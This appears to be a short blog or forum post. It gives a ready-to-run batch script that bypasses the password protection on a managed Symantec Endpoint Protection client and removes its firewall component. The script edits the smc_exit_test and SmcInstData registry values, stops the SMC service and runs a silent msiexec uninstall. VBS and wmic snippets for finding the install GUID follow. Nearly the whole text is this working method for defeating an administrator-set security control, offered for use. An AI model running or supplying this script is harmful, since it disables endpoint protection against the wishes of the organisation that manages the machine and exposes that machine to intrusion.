Uninstall Symantec Endpoint Protection firewall (Teefer2) without password prompt

There is known trick to remove password prompt for disabling SEP protection and another one to disable uninstall password of SEP.

Here is batch file which can be used to uninstall firewall component of managed SEP client:

@echo off

rem Set smc_exit_test to zero to disable password on SMC stop

reg add "HKLM\SOFTWARE\Symantec\Symantec Endpoint Protection\SMC" /v smc_exit_test /t REG_DWORD /d 0 /f

rem Stop SMC

C:\PROGRA~1\SYMANTEC\SYMANT~1\smc.exe -stop

rem Delete SmcInstData to disable SEP uninstall password

reg delete "HKLM\SOFTWARE\Symantec\Symantec Endpoint Protection\SMC" /v SmcInstData /f

rem Uninstall SEP with specified install GUID

MsiExec.exe /I {AAE221D5-C3DD-4FE2-A063-C1368FE730A5} /qb RUNLIVEUPDATE=0 REMOVE="Firewall"

To get your Symantec install GUID you can use this .VBS snippet:

Const SEPName = "Symantec Endpoint Protection"

Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}\\.\root\cimv2")

Set softRecords = objWMIService.ExecQuery( "SELECT * FROM Win32_Product WHERE Name=""" & SEPName & """")

For Each softRecord in softRecords

SoftID = softRecord.IdentifyingNumber

Next

MsgBox SoftID

Or via command line:

wmic product where "Name='Symantec Endpoint Protection'" get IdentifyingNumber